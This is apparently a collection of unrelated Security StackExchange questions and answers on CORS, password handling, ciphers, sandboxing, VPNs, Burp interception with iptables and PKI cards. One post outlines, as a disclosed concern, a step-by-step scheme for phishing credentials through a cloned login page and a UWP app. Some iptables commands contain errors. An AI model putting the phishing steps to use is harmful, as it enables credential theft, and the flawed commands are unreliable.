Yes, it would be a hell of a lot more secure if servers only responded to requests from their own origins. However, this would break most of the internet if it was implemented as standard in new web server releases. It would also be possible to create a browser that did not make cross origin requests. Nobody will use it because it will not work on many sites.
You can in fact disable 3rd party cookies in most browsers. This would in effect make cross origin AJAX requests anonymous, as no cookies would ever be sent. Certainly Chrome will prevent setting or reading cookies, other browsers may only restrict the setting of such cookies. Of course if another authentication method is used, such as basic HTTP auth, it can't help you here. However, if you try it, for the most part you will be able to see which functionality breaks.

Why does the server even respond to such requests from another origin?

The Origin browser header is not read until headers are parsed, and at that point the browser has already sent cookies across - any restriction on cross origin would be better implemented at browser level because a web server will not be able to block the request before it is sent.
Allowing cross origin requests is the way things have worked historically and security needs to be balanced with compatibility. CORS has been designed in such as way that if the server does not opt into CORS, the security level is just the same as using a pre-CORS browser. Before CORS it was possible for sites to make requests to other domains via forms or resource requests (but not via XHR), and it is the same now. If you think about it from the server's perspective, an XHR GET request is just the same as including an image from another domain using an <img /> tag. An XHR POST request is just the same as creating a form that submits to another domain.
You could configure your server to block these requests (say using the Origin header), and this is actually a valid way of preventing CSRF attacks. This should be done on a case-by-case basis though, and it should be borne in mind that the presence of this header can vary between browsers and versions (e.g. no older browser support).
Note that this would not help in your example as a MITM could, in most cases, simply just spoof the Origin.

Shouldn't they only respond when Cross-origin resource sharing (CORS) is enabled on them?

All the problems with cross origin requests have been solved in some way such as browsers all following the Same Origin Policy and websites using tokens to prevent CSRF. This is the web - insecure by default. If a website is developed with security in mind, these problems can be overcome.


Should we do request manipulation or network packet manipulation for SDN vulnerability analysis? I am planning to do vulnerability analysis of a Software Defined Network. Since the connection between the business apps and the controller of the SDN would be done over the application layer, I would assume web attacks can be explored through request manipulation in Burp Suite. Since the connection between the OpenFlow switch and the controller is over SSL, will the vulnerability analysis involve packet manipulation too?

I would assume since the connection between the application and the SDN controller is over the application layer and that between the controller and the switches is over the network layer, you would require Burpsuite and Wireshark for request and packet manipulation respectively.


What does "Obtaining a CVE" mean I've have seen the term around and I mostly get that it is referred to when someone reports a vulnerability to Mitre.

But what does this mean practically? Are you listed somewhere as the reporter? Is this something people use on their CVs?

When someone discovers a vulnerability, they can request a Common Vulnerabilities  and Exposures (CVE) id. This id will be linked to the vulnerability and is linked to you as a person.

Whether it is used on a resume is totally up to you, I personally started doing this recently in order to show my activities.


Attacker knows what I do online and even has screenshots from my computer - how? What can be achieved by hacking the Wi-Fi connection? Can you then use that to access somebody else's computer remotely, i.e., from their own house instead of across the street from me?

I think someone is doing this to me. The person I'm suspecting gives me clues as to my online activity, in person. Also, the individual can take screenshots of my computer.

What can I do to protect myself? I run Windows 8, have 2 firewalls installed (plus Windows firewall). Will unplugging my Wi-Fi router help? Sorry if I'm not being too specific, but I don't know much about computers/security.

If all this is overwhelming to you, get a friend to help you or hire someone. Also, consider filing a lawsuit if you strongly believe this person is spying on you. This is illegal!

What can you do

Most likely the attacker got into your wireless network because you are using an old router with weak encryption or your chosen password is weak. He could have compromised devices inside your network afterwards, but that requires a more sophisticated attacker, making this scenario less likely. But not impossible! So here are the actions I would take:

If he nested on one of your devices, it could be close to impossible to find out how he did it. Easiest choice might be to reinstall your operating system from scratch. Also, if you have more devices in your network than just your computer, you might have to reset these to factory settings as well. But to be honest I'm unexperienced how to deal with a compromised smart tv or similar.
Note: This step is useless if your system is compromised. He can log your keystrokes and will know the new password! You should change the wireless password. If you don't know how, search online for the manual of your model. If you can't login, there's always a way to reset the device to factory settings, often by holding the reset button for a specified number of seconds. But be aware, that you'll then have to reconfigure the router yourself before you can use it again. You won't have wireless unless you finish the configuration.
Note: This step is useless if your system is compromised. He can log your keystrokes and will know the new passwords! You should change your online login credentials (hotmail, facebook, google, netflix etc.). Specifically those for the sites that this person is referring to in your conversations. This might be a great time to start using a password manager like keepass. There are also plenty of online password managers if you fear to accidentally loser your password database.

Help us help you

We could help you a lot better if you could explain why you believe that someone is inside your network. So here are a bunch of starting points for you:
 - What happened? When did it happen? What exactly did you observe?
 - What Wireless router are you using?
 - What wireless encryption are you using? You can find out by logging into the web interface of your router in case you did not know.
 - What devices are connected to your network? Television, smart phone, tablet, home server, raspberry pi, notebook computer etc...

Regarding mutiple firewalls

Running multiple software firewalls will not improve your security. You mean it well, but it could worsen your overall security. Typically when you install a software firewall, it will deactivate your windows firewall automatically. Decide for yourself which one you want to use. The Windows firewall is a legitimate choice.

Possible Attacks

Next I'll address your question what someone can do once he enters your network. This is most likely not a complete list:

The first thing to realize is, that this person now has the key to your wireless network. An eavesdropper can then read all your web traffic. Luckily HTTPS adds another layer of security such that your login credentials are encrypted between your computer and the server. There are however still websites out there which handle the implementation poorly or do not use HTTPS at all for the login form. In that case your unwelcome guest could obtain your login credentials. Even worse, if you are using the same credentials on other sites, he now has access to these as well if he finds out about them. This by the way is one of the reasons why you should use a different password for every website and maintain them with a password manager.
Your devices are no longer protected by your router with NAT. If you are running local network services or have a NAS, Smart TV etc. in your private network, the attacker could now communicate directly with them. He or she could find security exploits and compromise your devices. From there on, depending on your setup, everything is possible.


Not supported critical extensions I've read the great post written by @Thomas Pornin
Which properties of a X.509 certificate should be critical and which not?

and it raised my question.

STORY:

Let's assume that I have a client C and a server S. Now, client try to connect to S by SSL. Therefore, S presents its certificate CERT. Now, C tries to verify a S. For that moment we can ommit signature verification and hostname verification details and focus on extensions.
Obviously, C uses OpenSSL to verify certificate.

But, for some critical extensions OpenSSL says: I don't support that.

PROBLEMS:

What I should do? I suppose that I should writting a code that verifies extensions not supported by OpenSSL, yes?
Especially, how to verify an extension? I can implement it on my own but I have to know what does it mean to verify/validate an extension. Please help.

...but I have to know what does it mean to verify/validate an extension...

There is no generic rule how an extension should be verified. The rules depend instead on the specific extension and are usually documented in the standard where the specific extension is defined.

Thus, if the certificate contains an extension which is marked as critical and which is not specifically addressed by either the TLS library or by your application according to the rules specific to this extension type than you should not accept the certificate.


How to guarantee that password is hashed on server-side? I'm worried when I send a password to a server, even with SSL or TLS, that the server stores the password in cleartext. Is this the case? If yes and the server gets hacked, all passwords are available in cleartext and can be used on other sites.

Is there any mechanism that guarantees that the password is hashed before reaching the server-side making it unique to the server, like additionally hashing it on the client-side? Which seed would be used then to be able to reconstruct the same hash, without the server/attacker knowing the seed too?

Update1: The scenario is everyday usage of internet sites. I know that servers "should hash passwords" and "users should different passwords" but this is simply not a realistic situation.
@Password-safes: what if you're on the go?
@Different passwords for every site: unrealistic

Related answers:

https security - should password be hashed server-side or client-side?
why-do-some-people-really-hate-security-via-client-side
Wikipedia - Secure Remote Password protocol

You raise several issues.

Server trust

You never know what the server will do with your password once you send it

Password reuse

Password reuse can be prevented by you: don't use the same password at multiple places.

Hashing

If you were to hash the password before sending it to the server, then the hashed password would become the password. If the server would store that, and it would be read by an attacker, he could log in with it. He doesn't need the original password, since the server checks the hash. It would prevent usage of the password at different websites, but the best measure against that is not to reuse passwords.

A protocol that will work in this situation is a challenge-response scheme. The server could send a challenge to the client, the client could hash the challenge with a keyed hashing protocol (like HMAC+SHA1) and send that back to the server. The server however still needs the password to verify the hash, so it must be stored.

If you want al scheme in which there is no shared secret between the client and the server, look to asymmetric encryption. You could give the server your public key, and have it verify who you are by encrypting a nonce with the private key. You can use SSL for this, with client certificates.


Byte swapping encryption algorithm security flaws? Honesty commands me straight away to say that I'm not a professional, but I'm fascinated by data encryption. This algorithm won't be used in production code, so please don't flood me with "Don't design your own crypto", I know. I apologise in advance if the question is unfit for this site.

I was wondering how secure the following encryption algorithm would be. It would take:

a 256-bytes long key, to be interpreted as a series of numbers.
data to be encrypted, read in 256-bytes long blocks.

The key is such that no two values are repeated, and all values should be in the 0x00–0xFF range. This means there's 256! possible combinations, if I'm not wrong. Yet, some of those combinations are more entropic than others – which makes some of them less useful, right?

Now, a copy of the data chunk is made, and the key is iterated on. The first byte in the original data chunk is moved to the first value in the key; the second, to the second value in the key, and so on.

In pseudocode:

for index, destination in enumerate(key):
     data_enc[destination] = data[index]

Not being a substitution cipher, it should be harder to guess which value is which. Yet, I am aware that the substitution is always the same throughout the data, so that surely counts as a weakness.

The main weakness is its simplicity, I suppose. What do you think?

some of those combinations are more entropic than others

Please don't torture words.

Entropy is a characteristic of a randomized process: it is a quantification of how many different outcomes you could have obtained. In your case, your "key" is a permutation of 256 values, so the process is the one which produces a new permutation. The process has entropy; no output permutation has any entropy. A permutation is just a value, it is what it is; it does not "contain" entropy. Correspondingly, it makes no sense to declare that any specific permutation is more or less "entropic" than any other; values are not "entropic" at all.

  The main weakness is its simplicity, I suppose.

No, simplicity is its main strength, not its main weakness. Simplicity is good. The main weakness of your scheme is that it is weak.

What you describe is a permutation cipher, which is a sub-case of transposition ciphers. These are kind of algorithms which were popular back in the days when we could not do really better because it was before the invention of the computer. They are horribly leaky in many ways (e.g. they don't hide letter frequency, since all plaintext letters are still there). Edgar Allan Poe had famously boasted that he could break every kind of substitution or transposition cipher, and was not proven wrong before his death in 1849.


iptables intercept received packet with proxy and then forward to destination Lets say I receive internet through my eth1 port and share it via hotspot to other devices (wlan0 port)

[internet]----(eth1)[my computer](wlan0 hotspot)
                                         |
                                         |
                                         |
                                   [destination]

how should I setup my iptables rules, that before forwarding packets to hotspot, I could pass them through a proxy server (burp suite for example). Like this:

[internet]----(eth1)[my computer]
                          |
                          |
                          |
                      (:8080)[proxy server](wlan0 hotspot)
                                                 |
                                                 |
                                                 |
                                            [destination]

Also, how should I configure burp suite that it could forward packets to recipient?

If I understand correctly, your computer serves as a Wifi Access Point, so it should have a dhcp server running on wlan0, is that so ?

Assuming this is the case, First you need to have /proc/sys/net/ipv4/ip_forward set to 1 instead of 0 (if you are using IPv4, I don't know the equivalent for IPv6, if there is any)

The iptables command you are looking for is

iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE
or

iptables -t nat -A POSTROUTING -o eth1 -j SNAT --to-destination <eth1 IPv4 address>

This will masquerade all IP addresses from wifi to one eth1 has and magically redirecting all response packets to the correct device on the wifi network

To use Burp, the simplest thing to do is to configure Burp as a proxy on the wifi devices. If not possible, You need to set two listeners with "Invisible Proxy support" for Burp, one for HTTP (let's say on port 8080) and one for HTTPS (let's say on port 8443). Then the iptables commands will be :

iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-ports 8080
and

iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIECT --to-ports 8443

If I remember correctly, that should do the trick.


Is there a secure way to host private PGP keys (is keybase's method secure?) Keybase's decryption page says "you must host your private key in Keybase's encrypted key store." This really rubs me the wrong way. I was under the impression that your private key should not leave your device, ever (Keybase even lets you have one private key for each non-web device).

But perhaps I'm wrong. Maybe all that is needed is to secure the host as in Protecting a PGP private keyring on host?

Is Keybase's methodology secure? I'm not seeing any documentation on their site of how they protect these keys (especially from themselves).

To be fair, the page states in full (emphasis mine):

  To decrypt in the browser, you must be logged in, and you must host your private key in Keybase's encrypted key store.

Because browser clients lack the ability to store and access a local key, Keybase provides a server-side method.  Yes, this method is less secure than their thick clients, where the private key never leaves the device.

Security-conscious users will want to avoid the browser client (and anybody using Keybase should be security-conscious, so I don't personally even understand why there is a browser client, but there you go...)


How can we eliminate passwords given the problems with biometric authentication? I've read articles suggesting that passwords will eventually go the way of the dinosaur only to be replaced by biometrics, PINs, and other methods of authentication. This piece claims that Microsoft, Google, and Apple are decreasing password dependency because passwords are expensive (to change) and present a high security risk. On the other hand, Dr. Mike Pound at Computerphile claims that we will always need passwords (I think this is the correct video).
But as this wonderful Security StackExchange thread notes, biometrics are not perfect. Granted, the criticisms are roughly six years old, but still stand. Moreover, and perhaps I have a fundamental misunderstanding of how biometric data is stored, but what if this information is breached? Changing a password may be tedious and expensive, but at least it can be changed. I'm uncertain how biometric authentication addresses this problem--as I cannot change my face, iris, fingerprint, and etc.--or if it needs to address this problem at all.
Are those who argue that we can eliminate passwords prematurely popping champagne bottles or are their projections correct?

First of all, let's keep in mind that vendors of biometric solutions have a vested interest in badmouthing passwords to promote their own products and services. There is money at stake. They have something to sell to you, but that doesn't mean you will be better off after purchasing their stuff. So one should not take those claims from vendors at face value.

Moreover, and perhaps I have a fundamental misunderstanding of how
biometric data is stored, but what if this information is breached?
Changing a password may be tedious and expensive, but at least it can
be changed. I'm uncertain how biometric authentication address this
problem--as I cannot change my face, iris, fingerprint, and etc.--or
if it needs to address this problem at all.

This is precisely the biggest problem with biometric. The compromised 'tokens' cannot be revoked. Breaches have already happened on a large scale. A devastating occurrence that will have consequences for many years to come is the OPM data breach.
Faces cannot be protected. They literally are public knowledge. Lots of people have their face on the Internet nowadays. Fingerprints can be seized off a glass. These are not secrets.
On top of that the collection of biometric data is a formidable enabler for the mass surveillance of individuals. Even the most democratic governments cannot be trusted. Technology also changes the nature of government and social interactions - not always in a good way.
We have to consider the trade-offs: what do you have to gain vs what could you possibly lose. Is the convenience worth the risk ? Not everyone is convinced.
So it is not just a technical issue but a societal issue that has enormous implications. Hint: China is the benchmark.
The false or negative positives rate is also a problem. Some people cannot be enrolled because of their physical characteristics. A password is unambiguous. You either know it or you don't. Biometrics = calculation of probability.
Relying on biometrics alone is not wise for critical applications. Hence the emergence of multi-factor authentication.
As an example 3-factor authentication would be:

something you have: for example a smart card
something you are: this is where biometrics comes into play
something you know: for example a password

It would be objective to say that biometrics are gaining momentum in some markets/applications, without eliminating passwords altogether. It does not have to be a zero-sum game.


Are efforts being made to bring about password standards? Rather than adopting a universal standard, many websites develop their own guidelines for how passwords should be constructed.

When you consider the number of passwords the average person today has to create and track, this creates problems for those who have a method for constructing and remembering passwords.  For instance, some sites actually limit the length of your password to 12 or fewer characters!  There are good reasons for enforcing a minimum length, but not to stop a person from using a longer passphrase.  50 characters would be a more reasonable upper limit.

I can understand that certain organizations like the government and the military might want to pursue guidelines that are more stringent than most websites need; however, wouldn't having some universal baseline be practical?  Is some organization working to bring this about?

Password strength metres are often wrong in their appreciation of what makes a password good. Often they ask you to pick special characters with little regard for how guessable your produced password is. See Telepathwords for an example of what an informed password strength metre should look like.

For instance, P@s5WorD. is considered very secure by most password strength metres, yet a good password cracking tool will always check for variations of a dictionary word (especially such a popular one as password), which means you haven't moved from an input space of 26 to 95, but rather an input space of 26 + a few tens of permutations per word in that input space. This is simply due to the way humans make passwords; we don't actually create random passwords because we wouldn't remember them.

A lot password research focuses on helping people create more complex passwords, remember longer passwords or even remember passwords by providing an image on the auth UI meant to act as a reminder, which often ignores the fact that people pick short and similar passwords to cope with the number of credentials they are required to deal with. People don't want to select a password based on some secret/hint your UI provides them, or longer or more complex passwords; they want to remember less and fewer passwords because they've had enough! See this paper from Sasse et al. on an authentication study done... on NIST employees. Also, there are some field studies on how many credentials people manage online (for instance the Floriencio and Herley 2007 paper, which is a bit old already; probably people have many more accounts by now).

Once you've realised that, and the fact that (not always encrypted) password databases get stolen on a daily basis (hence the main issue is not password strength but password handling and storage), you start understanding that the issue is most service providers have no clue why they apply a policy and just mimic whatever they see others do... perpuetating unusable and unscalable password requirements and policies over time.

There was an effort in the past to bring about federated identities with services such as OpenID but service providers preferred to retain control over their customers' identities for a handful of reasons, which means more different authentication interfaces and more passwords for users.

There are interesting initiatives out there to replace passwords (see Pico), but I'm afraid you shouldn't expect any industry improvement over night.


Error code: sec_error_untrusted_issuer I need help with a security issue concerning this code that has just been popping up recently as I visit my favorite websites.  Based on some past history I KNOW something is not right, and I am not only concerned about my security, but really pissed off that my freedom is being controlled by somebody I don't even know.

I keep getting the error code posted in my title.  Please help me fix this!!!

Identifying the problem certificate
When next you visit a site that shows that error, have a look at the certificate chain, it should look something like this:

If it doesn't, that is, if something in that line is a problem, it should identify the expired issuer certificate or the like.
Reasons for a problem certificate

It is possible that this is evidence of a man-in-the-middle attack, but this shouldn't be your very first thought since it requires an amount of technical difficulty to mount. If someone is attempting something like that - you should see an issue when you click on the certificates 'up the chain' from the site you're on (in the window pictured above).
If you see something that appears malicious, your connection is not safe and you should move to a different network.

It is possible this is a man-in-the-middle attack staged by your network administrator. If you're on a corporate network using a corporate owned machine, it's possible that the administrator overlooked issuing the proxy to your machine as a trusted CA, or that that certificate has expired, etc.
If you see someone you recognise (your network operator) in the chain above, talk to them. Also, be aware that whilst your connection is likely safe, they are able to listen in.

You may have an expired or different version of the same certificate root on your machine for some reason - you may also not trust the root (StartSSL is an issuer that doesn't have great coverage, but there are others). Try update your browser, run Windows Update, etc. if the chain looks to be ok, but show expired certificates.
Firefox uses a different store to IE - if you don't get the issue in IE, you likely need to check for Firefox updates.

You may not be connecting to the site you think you're connecting to. In a corporate environment, or at a public hotspot, there may be a 'click-through' page you need to get past to start using the network, and it may be using a certificate you don't trust, or a self-signed certificate, etc.

It may be as simple as your system clock being set wrong, so believing that your CA certificates are expired when they are, in fact, valid.

You may be interested in this help page at SSL Shopper; they link to all the major CAs with instructions on how to update your root certificates.


Is there a way to safely run untrusted code on a local machine for a videogame I want to create a simple videogame engine that can run untrusted custom code in order to add functionality to the game. I thought a about using an akka like concurrent actor system, so that the code can be confined to actors and keep the game interface as small as possible.
Now I need a solution to that allows people to download and run user generated code (mods) on their machines.
The language doesn't even matter I just want a few ideas for running such code on my own machine.

EDIT: The question originally asked about running untrusted code in general, not about the specific scenario laid out above. For something like that, you usually want a language that provides an API sandbox (I think Lua can be used for this?) which provides enough functionality for game logic or mods, but doesn't allow open access to the file system, creating other processes, etc.

You could also sandbox the whole game (with an OS-level process privilege sandbox, such as by developing it as a modern Windows "app" or using the MacOS sandbox), with a special location (readable by the sandbox) where the user can drop mods, etc. That way, even if the game gets compromised by a malicious mod or similar, it cannot impact the OS much (if at all), although it could still attack the game and anything it has access to. Games generally don't need a lot of OS permissions - maybe network connectivity, somewhere to put save files, all stuff that the OS-provided sandboxes handle easily - and are actually kind of an ideal use case for these app sandboxes.

Generically speaking, the term you're looking for is "sandboxing" (as in, a place this kiddies can make a mess without affecting anything else). Sandboxing is a kind of hard problem but it's also very useful, so there are a few different places it's commonly used.

For example, all modern web browsers have not just one but two layers of sandbox. The old one is the JavaScript sandbox: people run untrusted JS code on their machine all the time, usually safely. This is implemented as an API sandbox; the JS that you can run on a browser simply has no functions you can call, and no way to define functions, that do particularly malicious things (like read or write arbitrary files, open arbitrary network connections, etc; everything is safe, restricted to a safe subset, or unavailable). However, JS is complicated and JS runtimes are prone to security bugs, so modern browsers additionally run their rendering and JS engine in a sandbox too. This second sandbox is implemented as a process privilege sandbox; the browser process that creates the window and such spins up a bunch of child processes, each with extremely restricted permissions, and uses them to process all untrusted code, communicating with them through very carefully secured and minimal inter-process communication channels. That way, even if malicious script finds a way out of the API sandbox and can call arbitrary C functions, most of the interesting ones (like file reads) will fail because the OS says the process doesn't have permission to do that.

Process-based sandboxes are pretty common these days, and all modern OSes have [at least some] support for them. The Windows, Mac, iOS, and Android app stores all provide sandboxed apps. Linux provides sandboxing functionality that is used by things like Docker (and Chrome on Linux). FreeBSD (and derivatives) have "Jails", etc. There's a bunch of ways to do it. A relatively-simple one can be created just using user permissions and ACLs; you create a new user account for the sandbox, give it access to nothing at all by default (which is tricky, since normally there's a lot of stuff that's world-readable, at least), and then grant that user account access to the things the sandboxed code is allowed to touch. A process launched as that user will have very limited access to the system, until/unless they find a way out.

Unfortunately, creating a secure sandbox tends to be somewhat platform-specific, and tricky for each individual platform. I've personally reviewed, and found breaches for, sandboxes used by multiple Big Software Companies' products (you've heard of them, might even have them open right now). The app store sandboxes model - which give the developer fairly little control over what can be done, in exchange for the OS handling all the sandbox creation and enforcement - is appealing and if you're writing for Mac or recent Windows I recommend considering it.

Another kind of sandbox, available on any modern desktop OS but pretty expensive to run, is a virtual machine (VM) sandbox. Using any major VM platform (VMWare, VirtualBox, Hyper-V, whatever), you can create a VM that has little or no access to the host OS. This is the standard way cloud computing providers work; from Amazon's perspective your tiny EC2 instance is running untrusted code, yet has to share hardware with other mutually-untrusted users to be cost-effective, and VMs are used to do this. It's also a way to run potentially-malicious code, because the host OS can watch what the VM does but the VM cannot control the host.


Are there any benefits to using a semi-trusted network if a VPN is being used? Let's say that I'm at Larry's Coffee Shop and they advertise that they have open WiFi. I open my laptop and find 2 open networks available, both called "Larry's Coffee". One of these is the authentic network, the other is run by a hacker.

If I run a VPN on my laptop, is there ANY benefit to connecting to to the authentic network vs. connecting to the hacker network?

My thoughts: If I connect to the hacker's network I guess he could throttle my speed or deny me access to the internet altogether. However, from a privacy / security point of view, are they the same? We can assume that whatever is on the other side of the VPN is trustworthy. (and yes, I realize that Larry's open network isn't too secure to begin with, but is better than one run by a hacker).

First you should make sure that the your VPN actually is a full VPN, i.e. includes DNS lookups, IPv6 etc and properly authenticates its peer. This is not the case with all software calling itself VPN. You also should be aware that depending on the quality of the implementation corrupted VPN packets might be used as an attack vector.

A major problem might be the captive portal which is often used in free WiFi networks. Such portals must be usually accessed first with a browser before you can even establish your VPN. If you do this with the normal browser the captive portal can be used to capture existing session cookies to other sites, inject stuff into the browser cache or attack you with a drive-by-download - and all of this before you even had a chance to create your VPN tunnel. This kind of risk can be reduced if you use a specifically designed minimal and fully sandboxed browser to deal with this portal.


Automating NIKTO scanner I am working on NIKTO automation. I have a text file contains list of IP addresses along with their ports open. I have already made nikto script.

Script functionality - it takes IP addresses and then run nikto on it.

Question :  I want to make intelligent nikto. Problem is that, sometimes single IP does have 80 and 443 open ports however application only runs either on 443 or 80. How do I tell my scanner that only run scan against this port along with that particular IP without testing both 80 and 443?

Try 1: Initially I thought that, I will use curl to check the response on both port with that IP. If response code is 200 OK then do scan and if 302, 301 and 404 then skip it. Its failed as many applications which provides 404 page with 200 OK response.

Try 2: I assumed that IPs which runs on both port 80 and 443 will definitely run on 443 at least.So I implemented if else condition in such a way that if IP has 80 and 443 open then skip 80 and run scan against 443.

Is my try 2 logic is correct?
Are there any other options/alternatives?

I would recommend looking into how niktohelper accomplishes the same task. In this case first you can run an nmap scan across a range, then parse the output (thus knowing every web port that is open, and which ones use https) and run nitko appropriately.

Doing this yourself your essentially reinventing some nmap functions that are really great. Plus what about non-standard(ish) web ports such as 8000,8080,8181,8443 etc ?


Why would someone "double encrypt"? If I have a website or mobile app, that speaks to the server through a secured SSL/TLS connection (i.e. HTTPS), and also encrypt the messages sent and received in-between user and server on top of the already secure connection, will I be doing unnecessary moves? Or is double-encryption a common method? If so, why?

It's not uncommon, but it may not be required. A lot of developers seem to forget that HTTPS traffic is already encrypted - just look at the number of questions about implementing client side encryption on this website - or feel that it can't be trusted due to well-publicised issues such as the Lenovo SSL MitM mess.

However, most people weren't affected by this, and there aren't any particularly viable attacks against TLSv1.2 around at the moment, so it doesn't really add much.

On the other hand, there are legitimate reasons for encrypting data before transmission in some cases. For example, if you're developing a storage application, you might want to encrypt using an app on the client side with a key known only to the user - this would mean that the server would not be able to decrypt the data at all, but it could still store it. Sending over HTTPS would mean that an attacker also shouldn't be able to grab the client-encrypted data, but even if they did, it wouldn't matter. This pattern is often used by cloud based password managers.

Essentially, it depends on what you're defending against - if you don't trust SSL/TLS, though, you probably can't trust the encryption code you're sending (in the web application case) either!


authentication file sharing with qr code I want to share a file for viewing purposes to customers. The qr code will be imprinted on the product, so the customer will be the only one with access to it. The file should not be accessible to anyone else, except for the holder of the qr code.

How can I make the server realize, whether the request for the file came by scanning said qr code or whether the url has been guessed or been made public? Any way to add some authentication to the qr code? Only possibilities I can think of are passwording or making the url long to prevent bruteforce.. First one kinda defeats the purpose of qr codes and latter one isn't really safe, since there are still many ways, the url could be compromised..

QR codes are just encoding of text. There is nothing to embed. The QR code is simply a representation of an URL, in your case. There is nothing about the QR code that you can use as a control, so you need to think beyond that.

To do what you want, it would appear to be better to simply display a password in the file that the user enters once they use the QR code. The challenge here is to maintain passwords. You could use the same password (or a small set) for each file to reduce your programming complexity, if you're ok with the possibility of someone with a file trying to brute-force URLs and trying passwords.

The purpose of QR codes is to make URLs easier to access. That's all. Adding a simple field to ask for a password does not violate the purpose of QR codes.

Alternatively, because QR codes are most often scanned with phones, then your server could inspect the user-agent of the client connecting to determine if it is a phone or not, which might filter out unwanted automated requests. This is a weak control since anyone who understands your protection mechanism could also change their user-agent to one that looks like a phone.


Does it Matter That Universal Windows Platform (UWP) is Open to Phishing Attacks? A few years ago (a little over three now to be exact), I brought up what I consider to be a rather obvious (and serious) security issue with the Universal Windows Platform (UWP): The ability to use its WebAuthenticationBroker to phish credentials from a UWP application.

I recently brought this issue back up and it has been confirmed that this is still an issue in UWP.  I would consider this a security issue that someone could exploit via a phishing attack, so rather than continue the discussion there I am bringing it here to get better understanding around my perception around it.

Now I am by no means an expert in security, but I love learning about it and I always have my eyes and ears open for scenarios exactly like this one.  I am grateful for having found out about this site which is why I am posting this here question now.  If I had known about this site back on December 2012 when I originally posted this question, I would have posted my original question here rather than on the MSDN forums (where it was basically ignored and not taken very seriously, in my view).

With that said, my understanding of exploiting this process is as follows:

Create a sign-in page that looks exactly like the signin page from Google or Facebook (or your authentication service provider of choice).  For starters, you would create this by going to target provider's login page and saving the source of the file and use that as the starting point.
Modify the file made in the previous step so that it takes user input and passes it to the real authentication service provider.  Account for when the credentials pass and for when they fail.
Find a server to host the above file, deploy the file(s) (perhaps multiple files, as it could involve server-side magic) to this host and get the URL to the deployed location that loads this file.
Create a UWP application that gets the user to login to a supported credential provider via the WebAuthenticationBroker.  In the WebAuthenticationBroker.AuthenticateAsync call, provide the URL to the deployed location in the previous step.
Deploy the application to the Windows Store.  Get users to download it and use it (How exactly?  That is where your creativity comes in).
Have the user sign into your page (thinking it is a legitimate credential location -- the one you are impersonating).  Since it has been confirmed that UWP and WebAuthenticationBroker does not display the URL/domain the user is signing into, it can be anywhere that is under your control and the user will not know.
Validate credentials using the real authentication provider.  If it works, pass the user on to the real sign in page (or better yet, simply set cookies on the user's session that makes it seem all is OK).
Once you have obtained validated credentials, store the credentials for a later time, or use them for nefarious purposes immediately.
Rule planet Earth with your new-found powers (OK I made this one up).

First off, I would like to verify with certainty that my understanding on the above process is accurate (last step notwithstanding, of course -- or is it?!).  Is there something that I am not accounting for that makes this a non-issue?

If I do understand this correctly, it seems like this is a possible security issue with UWP and one that has not been addressed for over three years now.  The guidance given from the MSFT CSG is to open a UserVoice vote for this issue. However, it seems to me that a security issue is one you fix and not one that you vote to address.

So my question is: Is this a legitimate concern? Or am I making a big deal about nothing here? Or is there something I have completely misunderstood (quite possible) that makes this a non-issue?

Thank you in advance for any assistance and/or clarification to my understanding around this issue, and around security in general.

Speaking of new-found powers. :)

It is now clear to me from the (great!) feedback here that I could have expressed this in a more fact-oriented manner, and that this issue does not seem to be as big of a deal as I am thinking it is.  I tried to keep it as objective as possible, but in dealing with an issue that is over three-years-old, I probably let it get to me more than I should have (see: not handled new-found powers appropriately!).

I realize this site isn't meant to be a sounding board, but it took getting this question out to see it for what it was.  I appreciate your patience as I learn here.

I have taken the MSFT CSG's advice from the referring thread and have started a UserVoice vote around this item.  If you like, you may view and vote for this item here:

Consider Displaying URL/Location/Context to User in UWP Application During Authentication

I am almost tempted to delete this question, but I will let it stand as a reminding lesson in my quest to be a good citizen both here and in general within the broader community.  Thanks again to all involved!


Using a gmail oath2 token to access web email I forgot my password to an old gmail account. I have tried the regular route of going through gmail password recovery: answering questions, it keeps looping back to the questions, so I think I'm getting them wrong, using mobile phone recovery is out of question - I have moved to a different country and my old phone number is inactive, and the recovery email address is from a university account that has been disabled.

The thing is I still have access to the account through a Mac Mail program. I can receive emails from it, and also through my iphone. The logical place to look, the keychain, doesn't have the password listed, it just shows an empty field for the password.

What I do have in the keychain is this:

My hunch is that the Mail program is using oath2 tokens to access my gmail. My question is, can I use this token for a web browser, like Chrome, to login to my account and make changes? I need to make changes to my scholar account and other changes.

You cannot use the oath2 token used by applications for login via the web browser


Cetificate Pinning. How do we handle the situation where a website is visited for the first time? What I essentially mean to ask is, how is the scenario where a user who visits a website for the first time (the certificate for the website is not pinned in the browser) handled ? Additionally how is revocation handled ?

The way that trust on first touch is handled for pinning is by the use of Pre-load lists, where the certificate to pin against is loaded into the client software at distribution.

You can see more information about what domains Firefox has preloaded here

Revocation with pinning is an interesting topic.  What I've seen suggested is that you pin two keys, one that your using live and a backup one that you keep offline.  That way if you need to revoke your main certificate you have a spare one to use.

Without that if you revoke your certificate you could be in a spot of bother depending on your customer base.


PKI cards - PIN and certificates My company has introduced a PKI some months ago. We are now able to login in our laptops either with our Windows credentials or with a PKI smart card plus a 6 digits numeric PIN. A part from that we can also encrypt and sign e-mails too.

My understanding (Please correct if I am wrong):

There is a certificate embedded in this card which contains my private key.
My 6 digit PIN is the key to encrypt my private key

What I don't understand is where exactly is the smart card PIN stored and what kind of security measures are in place to avoid someone from guessing or retrieving my PIN in a lab or something.

The answer by @discreet gives good links, but I want to add my understanding.

Without knowing which vendor you bought your PKI from, it's hard to know exactly what the PIN is doing inside, because unlike EMV bank cards, enterprise PKI systems have no industry standards and each PKI vendor will do things differently. So here's my response to your two points based on how these things usually work:

  There is a certificate embedded in this card which contains my private key.

Correct. Usually your PKI smart card will have a mini-computer in in that powers up when you connect it to the card reader. For this reason, your smart card is more than a storage device (like an SD card), rather it is its own computer. Your PC can send requests to the card like give me your public key, sign this data, decrypt this data, etc, the card will do the processing on-board and send the data back. The card can even refuse to do certain requests, such as give me your private key.

One of the operations that all smart cards support is generate a new keypair. The card will generate a new private key (which will never leave your card, if you specify that option), then the corresponding public key will be passes back to the PC to be made into a certificate by a CA, then handed back to the card as a certificate for storage.

  My 6 digit PIN is the key to encrypt my private key

